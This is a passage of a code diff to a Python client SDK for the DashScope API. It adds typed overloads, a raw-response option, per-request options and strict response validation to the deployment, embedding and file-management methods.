Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = await self._client.transport.request( + ... + + @overload + async def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Resize a deployment to ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "PUT", f"{_BASE_PATH}/{deployed_model}/scale", json={"deployed_model": deployed_model, "capacity": capacity}, @@ -404,10 +1039,27 @@ async def scale( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload async def delete( self, deployed_model: str, @@ -415,19 +1067,74 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = await self._client.transport.request( + ... + + @overload + async def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a deployment; the job status reports the teardown. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - JobStatus(**flatten_envelope(response_json(response))), - response, + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) async def stream_events( @@ -437,6 +1144,10 @@ async def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> AsyncIterator[DeploymentEvent]: response = await self._client.transport.open_stream( "GET", @@ -445,6 +1156,12 @@ async def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: async for is_error, status_code, data in _aiter_sse(response): @@ -456,11 +1173,17 @@ async def stream_events( response.headers, ) _log_stream_error(data, response.headers) - yield DeploymentEvent( - output=_try_json(data), + yield _parse_event( + data, is_error=True, + strict=self._client.config.strict_validation, + response=response, ) return - yield DeploymentEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: await response.aclose() diff --git a/dashscope/resources/embeddings.py b/dashscope/resources/embeddings.py index b2ae1508..09a86df2 100644 --- a/dashscope/resources/embeddings.py +++ b/dashscope/resources/embeddings.py @@ -10,11 +10,22 @@ from __future__ import annotations -from typing import Any, Awaitable, Callable, Dict, List, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Awaitable, + Callable, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, BaseModel, ConfigDict, Field -from dashscope.errors import check_response, response_json from dashscope.resources._jobs import ( DEFAULT_MAX_INTERVAL, DEFAULT_POLL_INTERVAL, @@ -24,6 +35,8 @@ JobList, Jobs, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -31,6 +44,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _PATH = "/services/embeddings/text-embedding/text-embedding" _BATCH_SERVICE = "embeddings/text-embedding/text-embedding" # Functional-area tag for x-dashscope-sdk-client (matches 1.x ``embeddings``). @@ -61,9 +79,26 @@ class EmbeddingResponse(ResponseBase): usage: Optional[Usage] = None -def parse_embedding_response(body: Dict[str, Any]) -> EmbeddingResponse: - """Shared by the text and multimodal endpoints: one response shape.""" - output = body.get("output") or {} +def parse_embedding_response( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> EmbeddingResponse: + """Shared by the text and multimodal endpoints: one response shape. + + Built through :func:`~dashscope.types._parse.parse_model` like every + other v2 response parser, so a drifted field degrades instead of + raising a bare ``ValidationError`` -- and ``strict`` reaches it, which + is what makes ``strict_validation`` mean the same thing here as on + ``models`` / ``files`` / ``jobs``. Both endpoints forward the + client's setting, including ``multimodal.embeddings`` on the + pre-``request_api`` transport path, whose ``request`` returns the + same ``httpx.Response``. + """ + output = body.get("output") + if not isinstance(output, dict): + output = {} embeddings = output.get("embeddings") or [] if not embeddings and output.get("embedding"): # multimodal-embedding-one-peace-v1 predates the plural list: it @@ -72,10 +107,15 @@ def parse_embedding_response(body: Dict[str, Any]) -> EmbeddingResponse: # shape regardless of model generation. 1.x exposed the raw key via # response.output["embedding"]; v2 normalizes instead. embeddings = [{"index": 0, "embedding": output["embedding"]}] - return EmbeddingResponse( - embeddings=embeddings, - usage=body.get("usage"), - **response_envelope(body), + return parse_model( + EmbeddingResponse, + { + "embeddings": embeddings, + "usage": body.get("usage"), + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -116,6 +156,7 @@ class EmbeddingJobs: def __init__(self, client) -> None: self._jobs = Jobs(client, _BATCH_SERVICE, MODULE) + @overload def create( self, *, @@ -126,11 +167,56 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: """Submit a batch task over one file whose lines are the texts. Singular, unlike ``asr.transcribe(file_urls=)``: this endpoint accepts exactly one file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. """ if not file_url: raise ValueError("file_url must not be empty") @@ -144,8 +230,14 @@ def create( api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -153,14 +245,61 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.fetch( task_id, api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def cancel( self, task_id: str, @@ -168,15 +307,61 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.cancel( task_id, api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def list( # pylint: disable=redefined-builtin self, *, @@ -191,8 +376,62 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.list( start_time=start_time, end_time=end_time, @@ -205,6 +444,11 @@ def list( # pylint: disable=redefined-builtin api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -216,6 +460,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: return self._jobs.wait( @@ -225,6 +473,10 @@ def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -233,6 +485,7 @@ class AsyncEmbeddingJobs: def __init__(self, client) -> None: self._jobs = AsyncJobs(client, _BATCH_SERVICE, MODULE) + @overload async def create( self, *, @@ -243,7 +496,57 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a batch task over one file whose lines are the texts. + + Singular, unlike ``asr.transcribe(file_urls=)``: this endpoint + accepts exactly one file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ if not file_url: raise ValueError("file_url must not be empty") merged = dict(parameters or {}) @@ -256,8 +559,14 @@ async def create( api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -265,14 +574,61 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.fetch( task_id, api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def cancel( self, task_id: str, @@ -280,15 +636,61 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.cancel( task_id, api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def list( # pylint: disable=redefined-builtin self, *, @@ -303,8 +705,62 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.list( start_time=start_time, end_time=end_time, @@ -317,6 +773,11 @@ async def list( # pylint: disable=redefined-builtin api_key=api_key, workspace=workspace, timeout=timeout, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -328,6 +789,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: return await self._jobs.wait( @@ -337,6 +802,10 @@ async def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -346,6 +815,7 @@ def __init__(self, client) -> None: self._client = client self.jobs = EmbeddingJobs(client) + @overload def create( self, *, @@ -359,7 +829,55 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> EmbeddingResponse: + ... + + @overload + def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[EmbeddingResponse, "APIResponse"]: body = _build_body( model=model, input=input, @@ -369,7 +887,7 @@ def create( instruct=instruct, parameters=parameters, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -377,11 +895,24 @@ def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - parse_embedding_response(response_json(response)), - response, + parse_embedding_response( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) @@ -390,6 +921,7 @@ def __init__(self, client) -> None: self._client = client self.jobs = AsyncEmbeddingJobs(client) + @overload async def create( self, *, @@ -403,7 +935,55 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> EmbeddingResponse: + ... + + @overload + async def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[EmbeddingResponse, "APIResponse"]: body = _build_body( model=model, input=input, @@ -413,7 +993,7 @@ async def create( instruct=instruct, parameters=parameters, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -421,9 +1001,22 @@ async def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - parse_embedding_response(response_json(response)), - response, + parse_embedding_response( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) diff --git a/dashscope/resources/files.py b/dashscope/resources/files.py index e064350c..38f40b5d 100644 --- a/dashscope/resources/files.py +++ b/dashscope/resources/files.py @@ -7,23 +7,39 @@ import json import os import re -from typing import Any, Dict, List, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field from dashscope.errors import ( BadRequestError, NotFoundError, - check_response, response_error, sdk_error, - response_json, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, response_envelope, with_headers, ) +from dashscope.types.pagination import BasePage + +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse _BASE_PATH = "/files" @@ -69,59 +85,128 @@ class File(ResponseBase): ) -class FileList(ResponseBase): - page_no: int = 1 - page_size: int = 10 - total_count: int = 0 +class FileList(BasePage[File]): + """One page of files, from ``files.list``. + + Pagination fields come from + :class:`~dashscope.types.pagination.BasePage`; iterate the page directly + or cross pages with ``iter_pages()`` / ``next_page()``. + """ + files: List[File] = [] + @property + def items(self) -> List[File]: + return self.files + class DeletionStatus(ResponseBase): deleted: bool = False -def _parse_upload(body: Dict[str, Any]) -> File: +def _parse_upload( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> File: data = body.get("data") or {} if not isinstance(data, dict): - return File(**response_envelope(body)) + return parse_model( + File, + response_envelope(body), + strict=strict, + response=response, + ) if "uploaded_files" in data: # The endpoint always answers with a list even though one file went up. uploaded = data["uploaded_files"] or [] data = uploaded[0] if uploaded else {} - return File(**data, **response_envelope(body)) + # Dict merge, not ``**`` twice: a record carrying an envelope key of + # its own would otherwise raise a duplicate-keyword TypeError. + return parse_model( + File, + {**data, **response_envelope(body)}, + strict=strict, + response=response, + ) -def _parse_list(body: Dict[str, Any]) -> FileList: +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> FileList: data = body.get("data") or {} if isinstance(data, dict): - files = data.get("files") or [] + files = data.get("files") + # A retyped ``files`` would both poison the ``len()`` below (a + # string's length is not a page total) and blow up in the model + # layer's repair of a list field. Empty is the honest reading of + # "not a list", matching ``JobList.from_payload``. + if not isinstance(files, list): + files = [] page_no = data.get("page_no", 1) page_size = data.get("page_size", 10) total = data.get("total", len(files)) else: - files, page_no, page_size, total = data, 1, 10, len(data) - return FileList( - page_no=page_no, - page_size=page_size, - total_count=total, - files=files, - **response_envelope(body), + # Only a genuine list can be read as a whole page; ``len()`` on a + # drifted scalar would escape as a bare TypeError from here. + files = data if isinstance(data, list) else [] + page_no, page_size, total = 1, 10, len(files) + return parse_model( + FileList, + { + "page_no": page_no, + "page_size": page_size, + "total_count": total, + "files": files, + **response_envelope(body), + }, + strict=strict, + response=response, ) -def _parse_file(body: Dict[str, Any]) -> File: +def _parse_file( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> File: data = body.get("data") or {} if not isinstance(data, dict): - return File(**response_envelope(body)) - return File(**data, **response_envelope(body)) + return parse_model( + File, + response_envelope(body), + strict=strict, + response=response, + ) + return parse_model( + File, + {**data, **response_envelope(body)}, + strict=strict, + response=response, + ) -def _parse_delete(body: Dict[str, Any]) -> DeletionStatus: +def _parse_delete( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> DeletionStatus: data = body.get("data") or {} deleted = True if isinstance(data, dict) and "deleted" in data: deleted = bool(data["deleted"]) - return DeletionStatus(deleted=deleted, **response_envelope(body)) + return parse_model( + DeletionStatus, + {"deleted": deleted, **response_envelope(body)}, + strict=strict, + response=response, + ) def 